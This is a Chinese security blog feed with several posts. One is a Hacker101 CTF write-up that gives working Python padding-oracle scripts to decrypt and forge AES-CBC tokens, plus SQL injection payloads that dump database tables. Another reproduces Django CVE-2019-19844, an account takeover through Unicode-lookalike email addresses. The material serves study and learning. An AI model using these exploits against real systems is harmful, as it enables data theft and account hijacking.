Python – 若水斋 https://blog.werner.wiki Try harder Tue, 07 Jan 2020 14:15:37 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg Python – 若水斋 https://blog.werner.wiki 32 32 Hacker101 CTF Encrypted Pastebin write-up https://blog.werner.wiki/hacker101-ctf-encrypted-pastebin-write-up/ https://blog.werner.wiki/hacker101-ctf-encrypted-pastebin-write-up/#comments Tue, 07 Jan 2020 14:14:10 +0000 https://blog.werner.wiki/?p=1032

首发于先知社区

背景介绍

Hackerone是一个漏洞赏金平台,想获取该平台的项目资格,需解答Hacker101 CTF题目。不同的题目有不同数量的flag,每个flag因题目难度不同而对应不同积分(point)。每得26分就会获得一个私密项目邀请。

本文记录了其中名为“Encrypted Pastebin”的题目的解法。该题要求技能为Web和Crypto,难度为Hard,共有4个flag,每个flag值9分。

本文写作日期为2019年12月15日。读者阅读本文时可能已经时过境迁,Hacker101 CTF可能不再有这道题目,或内容发生变化。但本文尽可能地详细记录了整个解答过程,没有题目并不影响阅读和理解本文。

若读者正在解答这道题目但没有前进的思路,建议读者不要继续阅读本文,否则将损害解答这道题目的本意。请带着这一提示关闭本文:padding oracle。

题目描述

题目的地址是动态的,每隔一段时间打开都会不同,所以这里无法给出题目地址。也因其动态性,后文中相关代码或截图中题目地址可能会有所不同,读者只要知道虽然地址不同但其实是同一道题目便不会影响阅读了。

打开题目后看到一个Web页面,如下图所示:

题目Web页面1

提示文本是:

We’ve developed the most secure pastebin on the internet. Your data is protected with military-grade 128-bit AES encryption. The key for your data is never stored in our database, so no hacker can ever gain unauthorized access.

从提示文本中我们知道了加密算法是AES,密钥长度是128比特,那么分组便是16字节。此外我们还知道了加密用户数据的密钥没有保存在数据库中。

我们输入Title1,内容也为1,然后点击Post按钮,页面跳转到了:

http://35.190.155.168/fc2fd7e530/?post=LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~

观察这个URL,看到路径没有变,只是多了post参数,参数值长得很像base64编码,但又有一点点区别。页面内容如下图所示:

题目Web页面2

这道题目便是这个样子,一个功能单一的Web页面。一开始我很困惑这玩意有什么用,后来意识到Pastebin和Blog、BBS一样是一种Web应用,其作用是存储和分享一段纯文本数据,一般是源代码。如Ubuntu就提供自己的Pastebin服务。应用场景之一是一群人使用IRC讨论编程问题,一个人想向大家分享一段代码,那么他可以将这段代码存储在Pastebin中,将链接分享给大家,这样便避免了大段代码刷屏,感兴趣的人打开链接查看代码一般也能获得比较好的阅读体验。

根据以往做过的Hacker101 CTF题目知道每个漏洞对应一个flag。现在我们要做的便是找出这个加密Pastebin服务的漏洞。

Flag 1

一开始毫无思路,便想着输入异常数据试图引发错误。将post参数的值修改为1,提交后结果出乎意料,直接得到了一个flag,如下图所示。

flag1

在报错中我们看到了服务器是如何解码post参数的:

b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))

其实就是base64编码,只不过替换了3个关键字符。为简单起见,后文中就直接把它称做base64编码。在报错信息中我们还看到在按base64解码post参数后,调用一个名为decryptLink的函数解密它,解密后按UTF-8解码,并以json格式解析:

post = json.loads(decryptLink(postCt).decode('utf8'))

从这个报错中暂时就看出这些有用的信息。但同时我们知道,通过触发错误可以获得很多信息。

Flag 2

报错1

现在考虑触发别的报错,向服务器提交能成功base64解码但在调用decryptLink解密时报错的数据。我们知道了如何解码post参数,便也就知道了如何编码post参数。提交post参数为MTix(一个有效的base64编码),这次报错为:

报错1

通过这个报错,我们看到了decryptLink函数中有一行代码的内容是:

cipher = AES.new(staticKey, AES.MODE_CBC, iv)

看来加解密post参数使用的密钥是静态的(staticKey)。还看到加密使用了CBC模式。报错中说IV(初始向量)长度必须是16字节,看来IV是从post参数中提取的。

报错2

现在考虑触发新的报错,将16个*编码,结果为:

KioqKioqKioqKioqKioqKg~~

提交此参数,成功触发了新的报错,如下图所示。

报错2

从这个报错中我们看到了decryptLink函数的最后一行代码,内容是:

return unpad(cipher.decrypt(data))

报错说string index out of range,应该是提交的post参数长度为16字节,刚够IV,实际数据为0,所以产生了这个错误。同时注意到有一个unpad操作,看函数名其功能应该是去掉填充(pad)。

报错3

再尝试触发新的报错,将32个*编码,结果为:

KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio~

提交此参数,成功触发了新的报错,如下图所示。

报错3

这次的报错中出现了耐人寻味的PaddingException,结合CBC模式是可以使用padding oracle攻击解出明文的。虽然在大学密码学课上骆老师讲过这种攻击方式,但具体细节记不清楚了。查了些资料后补齐了细节,写了一个Python脚本来执行该攻击,脚本内容如下。该攻击的资料很多,网上一搜一大把,这里就不给出具体的参考链接了。后文假设读者清楚padding oracle攻击的细节,若不清楚,请先查阅资料。

import base64
import requests

def decode(data):
    return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))

def encode(data):
    return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')

def bxor(b1, b2): # use xor for bytes
    result = b""
    for b1, b2 in zip(b1, b2):
        result += bytes([b1 ^ b2])
    return result

def test(url, data):
    r = requests.get(url+'?post={}'.format(data))
    if 'PaddingException' in r.text:
        return False
    else:
        return True

def generate_iv_list(tail):
    iv = b'\x00' * (16 - len(tail) -1)
    return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]

def padding_oracle(real_iv, url, data):
    index = 15
    plains = bytes()
    tail = bytes()
    while index >= 0:
        for iv in generate_iv_list(tail):
            if test(url, encode(iv+data)):
                plains = bytes([(16-index) ^ iv[index]]) + plains
                index -= 1
                tail = bytes([plain ^ (16-index) for plain in plains])
                break
    return bxor(real_iv, plains)

if __name__ == '__main__':
    post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
    url = 'http://35.190.155.168/fc2fd7e530/'

    i = 1
    plains = bytes()
    data = decode(post)
    length = len(data)
    while True:
        if i*16 < length:
            iv = data[(i-1)*16: i*16]
            plains += padding_oracle(iv, url, data[i*16: (i+1)*16])
        else:
            break
        i += 1
    print(plains)

运行这个脚本,花了大约1个小时才解出明文是:

{"flag": "^FLAG^597a59999a26c9f1b48d7xxxxxxxxxxxxxxxxxxxxxxxxxxxb153f505d4755bf2$FLAG$", "id": "3", "key": "XjPkmljch5E2sMiNhsNiqg~~"}\n\n\n\n\n\n\n\n\n\n

至此拿到了第二个flag。

Flag 3

观察解出的明文,发现它是json格式的,共有三个键,第一个是flag,应该纯粹为CTF服务,没有实际意义;第二个是id,值为3;第三个是key,值被用base64编码了,解码后发现是16字节长的二进制数据,怎么看怎么像AES密钥,用它直接解密post参数却是失败的,看来是其他地方的密钥了。

我们知道CBC除了padding oracle攻击外还有字节翻转攻击,利用字节翻转攻击可以把id3改成其他值,比如1。但实际尝试发现这样做是行不通的,因为字节翻转攻击的原理是修改密文分组中一个字节的值,使下一个分组中明文的对应位置的字节按我们的意愿修改,这样做会导致修改过的密文分组解密出的明文变成乱码,而这个乱码往往无法按UTF-8解码,在decode('utf8')时会触发UnicodeDecodeError错误。

为了避免UnicodeDecodeError错误,我们不能修改任何密文,那么就只能修改IV了。通过修改IV,我们可以控制第一个分组的明文。其原理如下图所示,用想要的明文异或原本的(已知)明文,将结果做为新的IV,解密时会再异或一次得到我们想要的明文。

控制第一个分组明文的原理

然而id出现在第6个明文分组中,无法直接修改。但好在我们可以完全控制IV和密文,所以可以抛弃部分密文。为便于观察,先把明文按16字节分组,结果如下:

{"flag": "^FLAG^
597a59999a26c9f1
b48d7xxxxxxxxxxx
xxxxxxxxxxxxxxxx
b153f505d4755bf2
$FLAG$", "id": "
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

然后再设计我们想要的明文:

{"id":"1", "i":"
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

对比可知完全抛弃了前5个分组,只保留了后5个分组,并且后5个分组中只有第1个分组的内容是改变了的。这样我们计算出合适的IV,便可以得到想要的结果。具体的计算方法见代码:

post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
data = decode(post)[16*(1+5):]    # 抛弃原始密文的前5个分组(加1是因为有16字节的IV)
iv_6 = decode(post)[16*(1+4):16*(1+5)]    # 第5个分组的密文,也就是第6个分组的“IV”
immediate = bxor(b'$FLAG$", "id": "', iv_6)    # 第6个分组密文解密的直接结果
iv = bxor(immediate, b'{"id":"1", "i":"')    # 计算出合适的IV
print(encode(iv+data))

运行该代码计算出对应post参数为:

11is9FtK5stoIrb8SWs77z8UuS!4LYUxaWyX6xNAbZ97!foFZcv8sjHHgvhUJYLLWud0hjVTRwVZ8BNH1oi8PGIdpCjZOVLvSjlkiLWd2QU~

提交此参数,没有成功查询出id1的条目,但成功拿到了新的flag,如下图。

flag3

通过错误提示推测这是因为服务器只加密了body没有加密title,flag存储在title中,尝试解密body时触发了错误(因为key是id=3的数据的,不是id=1的数据的),但好在错误信息中包含了title的值。

Flag 4

继续设法触发新的报错,试试SQL注入。构造如下的明文,把id的值设置为单引号:

{"id":"'", "i":"
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

计算出对应post为:

11is9FtK5t1oIrb8SWs77z8UuS!4LYUxaWyX6xNAbZ97!foFZcv8sjHHgvhUJYLLWud0hjVTRwVZ8BNH1oi8PGIdpCjZOVLvSjlkiLWd2QU~

提交此参数,如愿以偿地看到了SQL注入的报错,甚至知道了具体的SQL语句是什么,如下图。

SQL报错

但按现有的方法,我们最多只能控制9个字符。9个字符是无论如何都无法完成注入的。

多方查阅资料后在一篇文章中看到说padding oracle攻击不仅可以用来解密明文,还可以用来构造解密出任意指定明文的密文。又在《Automated Padding Oracle Attacks with PadBuster》中找到了具体的原理,其实非常简单,是我们前面做法的推广。这里简单叙述一下原理。

原理

如上图,已知利用padding oracle攻击我们可以在不知道密钥的情况下解密出任意密文对应的Intermediary Value,在CBC模式中Intermediary Value和IV或上一块密文异或得到Decrypted Value。为构造解密出任意指定明文的密文,我们先将明文分组并按PKCS#5填充。然后随机生成16字节数据做最后一块密文,用padding oracle计算出它的Intermediary Value,用Intermediary Value异或最后一块明文得到倒数第二块密文。用padding oracle计算出倒数第二块密文的Intermediary Value,用Intermediary Value异或倒数第二块明文得到倒数第三块密文。依此类推,直到计算出IV。

看懂原理后写了一个Python脚本来实现这种攻击,脚本太长为了不影响阅读附在文末。

首先构造明文:

{"id":"0 UNION SELECT database(), ''","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

vpxsCHeQyFv5Xz4ITQHcTgNDCEuKQ1YRvZU6JINj2La063Cs2XWp0GsHLGVmrVFfrwmnx-gmZgdPBL16ODezPqd5DrohLnQvjeJK7!STgHyNFotCtLYeOCS2-IVdPQHA

SQL注入1

得到数据库名为level3

接着构造明文:

{"id":"0 UNION SELECT group_concat(TABLE_NAME), '' from information_schema.tables where TABLE_SCHEMA='level3'","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

7yUXiAErbrYDMQu9o6!rEsLGp-qFoWKIc!n22RVLCUNmFRKq9OZtyTtyPOy3LNbMLyQJmYODUBikZMkFlGdYJ2bIzCAsMXWK8pZJ94T7HNGYCAnZbf6eb0vpocf-ybAo42WQc9dUv8Iw7!9WZe76ETDW!M7obDKpipW4WMM9l3TJPkw0pFrSNtOHB1XmaKv23hh51E8cGTaU-1P27YqZZY0Wi0K0th44JLb4hV09AcA~

SQL注入2

得到数据库level3中有表poststracking,前一个表的内容我们已经知道了,所以关心后一个表,构造如下明文查询它有哪些列:

{"id":"0 UNION SELECT group_concat(column_name), '' from information_schema.columns where TABLE_NAME='tracking'","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

xjYpoCshfUQiElru19HYf04qjeYVD8CoA9XmG2Oly9ECT7stCN-AuV5PqBw5FOTaMmYIYykBwq7wUHJ08kc6jjNgK8pwZ0-U3024MxjwrCgGJu3qOBz91H1qn5DT5zducioD06x1w3HClw2grzbdreZgLFq!JQJMk8VhhXweN65GVLlJwibidmS4SFd0XZYh7HVnylECByiK5U3o85SHe40Wi0K0th44JLb4hV09AcA~

SQL注入3

得到表tracking有列idheadersid里应该没有实际数据,所以我们试图查询出headers。为此构造明文:

{"id":"0 UNION SELECT group_concat(headers), '' from tracking","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

be6Lqymj1Mmo5urgkMavFVbMAhGyzY8DKY94bPMcjvq!wzT2jIXMFVg-5aEFeap-zVKyX8oHocYl4foLJe76ETDW!M7obDKpipW4WMM9l3TJPkw0pFrSNtOHB1XmaKv23hh51E8cGTaU-1P27YqZZY0Wi0K0th44JLb4hV09AcA~

SQL注入4

成功的查出了所有的headers,但其中没有flag。观察数据,看到headers应该是http的头部,其中也包含post参数,都试一试,发现第一个post参数可以解出一个新的flag,如下图。

flag4

至此,拿到了全部的4个flag。

总结

先总结一下Encrypted Pastebin的工作流程:每次接到用户数据都随机生成一个key对其进行加密,加密结果存储在数据库中,然后用固定密钥staticKey加密随机生成的key,并将加密结果和数据库条目id编码后返回给用户。用户直接打开链接就可以看到存储的数据,和非加密的Pastebin一样方便。加密用户数据的密钥确实没有存储在数据库中,和首页宣传的一致。

这道题目对我来说是很有难度的,我花了一整个周末才完成它。一方面它让我复习/新学了密码学知识,另一方面,也是更重要的——它教导我不要轻易放弃。在进行padding oracle攻击时,速度很慢很慢,由于编程错误跑了很久却没有任何结果,让我心灰意冷,反复修改多次才终于成功。进行SQL注入时,由于一开始不知道利用padding oracle攻击可以构造解密出任意指定明文的密文便毫无思路,并且已经拿到了27分,几乎真的放弃了。后来觉得若是现在放弃,今后再做又得复习前面的所有步骤,白白浪费时间,才又坚持做下去。

附录

生成解密出任意指定明文的密文的Python脚本:

import base64
import requests

def trans(s):
    return "b'%s'" % ''.join('\\x%.2x' % x for x in s)


def decode(data):
    return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))


def encode(data):
    return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')


def bxor(b1, b2): # use xor for bytes
    result = b""
    for b1, b2 in zip(b1, b2):
        result += bytes([b1 ^ b2])
    return result


def test(url, data):
    r = requests.get(url+'?post={}'.format(data))
    if 'PaddingException' in r.text:
        return False
    else:
        print(r.url)
        return True

def generate_iv_list(tail):
    iv = b'\x00' * (16 - len(tail) -1) 
    return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]


def padding_oracle_decrypt(url, data):
    print('破解数据:{}'.format(data))
    index = 15
    intermediary = bytes()
    tail = bytes()
    while index >= 0:
        for iv in generate_iv_list(tail):
            print('尝试初始向量:{}'.format(trans(iv)))
            if test(url, encode(iv+data)):
                intermediary = bytes([(16-index) ^ iv[index]]) + intermediary
                index -= 1
                tail = bytes([temp ^ (16-index) for temp in intermediary])
                break
    return intermediary


def pad(data, block_size):
    """按PKCS#5填充"""
    amount_to_pad = block_size - (len(data) % block_size)
    if amount_to_pad == 0:
        amount_to_pad = block_size
    pad = bytes([amount_to_pad])
    return data + pad * 16


if __name__ == '__main__':
    url = 'http://35.190.155.168/fc2fd7e530/'
    post = 'OQ9EaI4kACeslNOW5XuTWpnKWmjyduYd0CnPDOFVUNW6tmnWyxyj-ID-xbYIkUaXrg-F4T!!5!4cZxh738rhQ-1QhYP1GcIy-tx0HILgW9bqTiWFGCgrCqTJKoLfoKlXjRaLQrS2HjgktviFXT0BwFPxx29x7i1UxDdLeC7ZAVxvJ4WDvDyxzEc3vNxuRE5UB!dytTf!iY32Cpl8iiI7LQ~~'
    ciphertext = decode(post)[16*6:16*7]
    immediate = bxor(b'$FLAG$", "id": "', decode(post)[16*(1+4):16*(1+5)])

    plains = '{"id":"0 UNION SELECT group_concat(headers), \'\' from tracking","key":"XjPkmljch5E2sMiNhsNiqg~~"}'
    data = pad(plains.encode('utf-8'), 16)
    block_amount = int(len(data) / 16)
    index = block_amount
    while True:
        block = data[(index-1)*16: index*16]
        print('处理块:')
        print(block)
        iv = bxor(immediate, block)
        ciphertext = iv + ciphertext
        index -= 1
        if index > 0:
            immediate = padding_oracle_decrypt(url, iv)
        else:
            break
    print(encode(ciphertext))
]]>
https://blog.werner.wiki/hacker101-ctf-encrypted-pastebin-write-up/feed/ 2
Django重置密码漏洞(CVE-2019-19844)复现和分析 https://blog.werner.wiki/poc-of-cve-2019-19844/ https://blog.werner.wiki/poc-of-cve-2019-19844/#comments Tue, 31 Dec 2019 11:30:42 +0000 https://blog.werner.wiki/?p=1084

首发于安全客

前言

CVE-2019-19844是Django重置密码功能的一个漏洞。Django的密码重置表单使用不区分大小写的查询来获取输入的邮箱地址对应的账号。一个知道邮箱地址和账号对应关系的攻击者可以精心构造一个和该账号邮箱地址不同,但经过Unicode大小写转换后相同的邮箱地址,来接收该账户的密码重置邮件,从而实现账户劫持的攻击目标。1

本文较为详细地记录了该漏洞的复现过程,简要分析了漏洞成因,讨论了攻击所需的条件。

复现

基于Python 3.6.0,Django 3.0.0和MariaDB 10.4.11复现漏洞。

准备环境

首先安装Python 3.6.0和MariaDB 10.4.11,然后安装有漏洞的Django版本3.0.0:

pip install django==3.0.0

全部安完后创建数据库cve_2019_19844_test

MariaDB [(none)]> CREATE DATABASE cve_2019_19844_test;

新建Django项目cve_2019_19844_test

django-admin startproject cve_2019_19844_test

需对项目cve_2019_19844_test的配置文件setting.py做一些修改。将LANGUAGE_CODEzh-hans,这样Django就会显示汉语界面了。修改数据库相关配置为使用MariaDB:

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'cve_2019_19844_test',
        'USER': 'root',
        'PASSWORD': 'root',
        'HOST': 'localhost',
        'PORT': '3306',
    }
}

在文件末尾添加发送邮件相关的配置,示例如下。

EMAIL_USE_SSL = True
EMAIL_HOST = 'smtp.qq.com'  # 如果是 163 改成 smtp.163.com
EMAIL_PORT = 465
EMAIL_HOST_USER = 'xxx@qq.com' # 帐号
EMAIL_HOST_PASSWORD = 'p@ssw0rd'  # 密码
DEFAULT_FROM_EMAIL = EMAIL_HOST_USER

为使用MariaDB做数据库,还需在__init__.py中添加:

import pymysql
pymysql.install_as_MySQLdb()

接着执行以下命令创建数据表:

python manage.py migrate

然后创建一个用户,用户名是werner,邮箱地址是i@werner.wiki

python manage.py createsuperuser

创建用户

启动Web服务:

python manage.py runserver

在浏览器中访问http://127.0.0.1:8000/admin/,看到如下图所示的登录页面,并没有重置密码的功能。

Django登录页面

Django没有默认开启重置密码功能,从官方文档找到了开启该功能的方法2。我们需要编辑urls.py,引入一些url配置。修改后的urls.py如下所示。

from django.contrib import admin
from django.urls import path
from django.urls import include    # 此行是新增的

urlpatterns = [
    path('admin/', admin.site.urls),
    path('accounts/', include('django.contrib.auth.urls')),    # 此行是新增的
]

然后访问http://127.0.0.1:8000/accounts/password_reset/,看到如下图所示的重置密码页面。

Django重置密码页面

根据文档,Django会生成一个可以重置密码的一次性链接,并把这个链接发到用户的邮箱中。如果邮箱地址不存在,Django不会发送邮件,但仍然显示“密码重置链接已经发送”,以避免攻击者探测一个邮箱地址是否为某个用户所有。

输入邮箱i@werner.wiki测试一下,成功收到了密码重置邮件,如下图所示。

Django重置密码邮件

点击其中的链接就可以重置密码了。至此,环境准备完毕。

复现漏洞

根据漏洞描述我们知道问题出在Unicode大小写转换。Unicode号称万国码,包含各种语言,有些语言的字母在进行大小写转换时就会出现奇怪的现象。如小写德文字母“ß”转换成大写是“SS”,再转换成小写就变成了“ss”3,大小写转换竟然不可逆,甚至连字符数量都发生了变化。在Python中进行测试截图如下。

大小写转换不可逆的示例

在准备环境时我们填写的用户邮箱是i@werner.wiki,刚好土耳其文和阿塞拜疆文中的字母“ı”转换成大写是英文字母“I”,再转换成小写就变成了英文字母“i”。知道以上信息,攻击者就可以发起攻击。首先注册域名werner.wikı(假设这个域名存在),然后搭建邮件服务器,设置邮箱i@werner.wikı,最后在Django重置密码的表单中填入这个邮箱地址,提交后攻击者就可以收到用户werner的密码重置邮件了。如下图所示,Django的确发送了密码重置邮件,但由于收件邮箱的域名无法解析,所以一直处于发送中的状态。

发出密码重置邮件

勉强算是成功复现了漏洞。这里为何不使用ı@werner.wiki呢?因为@werner.wiki使用的邮件系统不支持地址中包含ı。现实中的攻击者常常也会面临这个问题,实际上攻击者很可能无法任意注册和用户同后缀的邮箱,便只能修改邮箱后缀了。在这个例子中顶级后缀wikı是不存在的。但攻击者任然可能成功攻击,比如被攻击的是xxx@baidu.com,攻击者就可以构造xxx@baıdu.com。从阿里云查询到域名baıdu.com还没有被注册。

注册域名

分析

问题代码

通过阅读修复此漏洞的commit4可以找到和该漏洞相关的代码5如下所示:

    def get_users(self, email):
        """Given an email, return matching user(s) who should receive a reset.
        这里的email就是重置密码表单中用户填写的邮箱地址
        """
        active_users = UserModel._default_manager.filter(**{
            '%s__iexact' % UserModel.get_email_field_name(): email,
            'is_active': True,
        })
        return (u for u in active_users if u.has_usable_password())

在我们的复现中UserModel.get_email_field_name()返回值是email,也就是说重置密码功能是通过如下的语句查询用户的:

active_users = UserModel._default_manager.filter(email__iexact=email, is_active=True)

注意在查询邮箱地址时使用了iexact,不区分大小写。我们在Django shell中测试一下,用如下语句确实可以查询到用户:

UserModel._default_manager.filter(email__iexact='i@werner.wikı', is_active=True)

截图如下。

在shell中复现漏洞

那么去掉iexact是否可以呢?测试发现是可以的,截图如下。

区分大小写也可以复现漏洞

这是因为MariaDB数据库默认不区分大小写。我们在创建MariaDB数据库时没有指定COLLATE,便取了默认值utf8_genera_ci,其中ci的含义是case insensitive。若在创建数据库时指定COLLATEutf8_bin(将字符串中的每一个字符用二进制数据存储,区分大小写):

CREATE DATABASE cve_2019_19844_test DEFAULT CHARACTER SET utf8 COLLATE utf8_bin;

再重复上面的测试,发现不管有没有iexact都无法复现漏洞。此外,若是使用sqlite做数据库就无法复现漏洞,而使用PostgreSQL却可以复现漏洞。这么想来这一漏洞的真正成因是数据库特性。

将数据库改回可以复现漏洞的状态,开启MariaDB的SQL日志6,记录到Django实际执行的SQL语句是:

Django实际执行的SQL语句

复制这个语句将它粘贴到MariaDB控制台中执行,发现果然能查到数据,如下图所示。

在控制台中执行SQL语句

MariaDB是运行在Windows上的,一开始我在CMD中登录MariaDB控制台,执行上述SQL语句发现查询不出数据,使用chcp命令将CMD编码改为UTF-8也不行。后来在Linux中登录MariaDB控制台(连接的还是运行在Windows上的同一个MariaDB)测试成功。

总结漏洞成因:Django发送重置密码邮件时会发送到用户输入的邮箱地址,而不是从数据库中查询出的邮箱地址。Django重置密码功能没有特殊处理Unicode字符串。某些数据库(在某种配置下)进行字符串匹配时不区分大小写,会自动进行Unicode大小写转换。Unicode大小写转换不是简单的一对一关系,而是复杂的多对多关系。某些不是英文字母的Unicode字符在进行大小写转换后会变成英文字母,攻击者输入特殊构造的含有这种字符的邮箱地址便可以接收到特定账户的密码重置邮件。

可利用的Unicode大小写转换

似乎若某个Unicode字符本身不是英文字母,但在经过大小写转换后会变成一个或多个英文字母,那么这个Unicode大小写转换就是可以利用的。现在我们想做的是找出所有可利用的Unicode大小写转换。诚然,一个小写字母的大写字母是什么和一个大写字母的小写字母是什么应该由自然语言决定,但在计算机领域,这种转换关系被定义成了几张映射表:一个字母对一个字母的大小写转换映射定义在UnicodeData.txt中,一个字母对多个字母的大小写转换映射定义在SpecialCasing.txt7。遍历这几张映射表,找到了如下表所列的可能可以利用的Unicode大小写转换。

字符 Unicode编码 转换 转后字母 转换后字母编码
ı U+0131 大写 I U+0073
ſ U+017F 大写 S U+0083
ß U+00DF 大写 SS U+0053 U+0053
U+FB00 大写 FF U+0046 U+0046
U+FB01 大写 FI U+0046 U+0049
U+FB02 大写 FL U+0046 U+004C
U+FB03 大写 FFI U+0046 U+0046 U+0049
U+FB04 大写 FFL U+0046 U+0046 U+004C
U+FB05 大写 ST U+0053 U+0054
U+FB06 大写 ST U+0053 U+0054
U+212A 小写 k U+0083

但进一步测试发现,只有前两行,一个字母对一个字母的大写转换是可以利用的。例如把用户邮箱改为ss@werner.wiki,用ß@werner.wiki查询不出来。

一对多映射无法复现漏洞

这应该和MariaDB的底层实现有关,超出了本文范围,按下不表。

如何修复

Django做了两处改动来修复这个漏洞1

  1. 从数据库检索出可能匹配的帐户列表后,再使用专门的Unicode字符串比较函数来比较用户输入的邮箱地址和数据库中检索出的邮箱地址是否相等。这样无论后端使用怎样的数据库都避免了这一漏洞。
  2. 在发送重置密码邮件时,发送到数据库中检索出的邮箱地址,不再发送到用户输入的邮箱地址。这样攻击者就算能绕过Unicode字符串比较函数的检查也无法接收到密码重置邮件。

利用条件

为利用这一漏洞,至少需满足以下条件:

  • Django启用了找回密码功能(默认未启用);
  • 使用的数据库配置为不区分Unicode大小写;
  • 攻击者知道被攻击账户的邮箱地址;
  • 被攻击账户的邮箱地址中要含有字母i或s;
  • 被攻击账户的邮箱系统要支持非ASCII字符的地址且攻击者可以任意注册或可利用的域名存在且没有被注册。

所以在现实世界中这一漏洞可能很难利用,故而危害较低。

总结

原以为这是一个很简单的漏洞,结果花了好几天时间才勉强强复现了这个漏洞,大致搞懂了漏洞成因。

虽然这一漏洞很难利用,但它具有启发意义:若是编程语言中没有特殊处理Unicode字符串而数据库不区分Unicode大小写,那么便可能可以使用ıſ绕过某些安全措施。

更新

(2020年1月4日)在前文中我们说明了Mysql的utf8_genera_ci字符串进行比较时,会忽略大小写,如认为ıiI相等,利用此特性可以实施账号劫持攻击,但实际上Mysql也认为不同语言中的“同一个”字母相同,如认为英语中字母a、瑞典语中字母å、拉脱维亚语中字母ā和立陶宛语中字母ą都相同。一个简单的试验如下图所示。

每个英文字母都有至少一个其他语言中的对应字母8,但可惜的是这一特性无法在Django找回密码中利用,因为像ådmin@werner.wiki这样的邮箱地址是通不过校验的。归根结底是因为Python正则即使设置了re.IGNORECASE也不会认为aå相等,但却会认为ıi相等,å有自己的大写字母是Å,如下图。

]]>
https://blog.werner.wiki/poc-of-cve-2019-19844/feed/ 3
密码保护:渗透笔记之djinn https://blog.werner.wiki/penetrate-djinn/ https://blog.werner.wiki/penetrate-djinn/#respond Tue, 24 Dec 2019 01:14:58 +0000 https://blog.werner.wiki/?p=990

此内容受密码保护。如需查看请在下方输入访问密码:

]]>
https://blog.werner.wiki/penetrate-djinn/feed/ 0
django-cidrfield开发小记 https://blog.werner.wiki/django-cidrfield-notes/ https://blog.werner.wiki/django-cidrfield-notes/#comments Sat, 02 Nov 2019 14:09:07 +0000 https://blog.werner.wiki/?p=926 在Django中GenericIPAddressField可以存储一个IPv4或IPv6地址,但没有专门用来存储网段的字段。用字符串存储网段会丢失语义,如无法按包含的IP地址过滤网段。Django插件django-netfields实现了存储网段的功能,但只支持PostgreSQL,它直接使用了PostgreSQL提供的网段相关字段。我设计实现了一个支持所有数据库的专用于存储网段的字段IPNetworkField。这篇文章将介绍IPNetworkField的使用方法和实现原理。

后文中IP段和网段为同义词,视行文方便使用。

使用方法

首先使用pip安装django-cidrfield

pip install django-cidrfield

在定义model时模仿下面的示例定义存储网段的字段:

from django.db import models
from cidrfield.models import IPNetworkField

class MyModel(models.Model):

    # the regular params should work well enough here
    ip_network = IPNetworkField()
    # ... and so on

创建model后按如下的示例存储一个网段:

MyModel(ip_network='192.168.1.0/24').save()

可以用__contains查询包含特定IP或IP段的网段:

MyModel.objects.filter(ip_network__contains='192.168.1.1')
MyModel.objects.filter(ip_network__contains='192.168.1.250/30')

__icontains效果是一样的。

可以用__in查询属于特定网段的网段:

MyModel.objects.filter(ip_network__in='192.168.0.0/16')

实现原理

设计目标

在开始论述实现原理前先捋一捋需求。我们的目标是:

  • 可以存储一个网段
  • 可以查询包含特定IP地址或地址段的网段
  • 可以查询属于特定IP地址段的网段

如何存储

并不是所有数据库都像PostgreSQL一样原生支持网段的存储和查询。所以我只能选择使用整数或字符串来存储网段。若想用一个数据库字段存储网段,使用整数有些力不从心,因为一个IP地址就是一个整数,而网段是IP地址加上一个额外的数据(掩码或CIDR)。但若用字符串来存储网段。又会遇到运算困难的问题,为了解决这些问题,我设计了一种实现简单,但效率不高的数据结构:用字符串存储二进制数。我们以一个IPv4地址段为例:

192.168.56.0/24

这个地址段由一个IP地址和“/24”(CIDR)组成。这种表示IP地址的方式为点分十进制,便于人类阅读,但不便于计算。最便于计算的无疑为二进制形式,因此我们把上述的地址段转换为:

11000000101010000011100000000000/24

但我们把上面的值以字符串形式保存在数据库中依旧无法计算,问题主要出在“/24”上。直接丢掉“/24”会丢失一部分信息,我的方法是丢掉“/24”的同时只保留字符串的前24位,网段变成了:

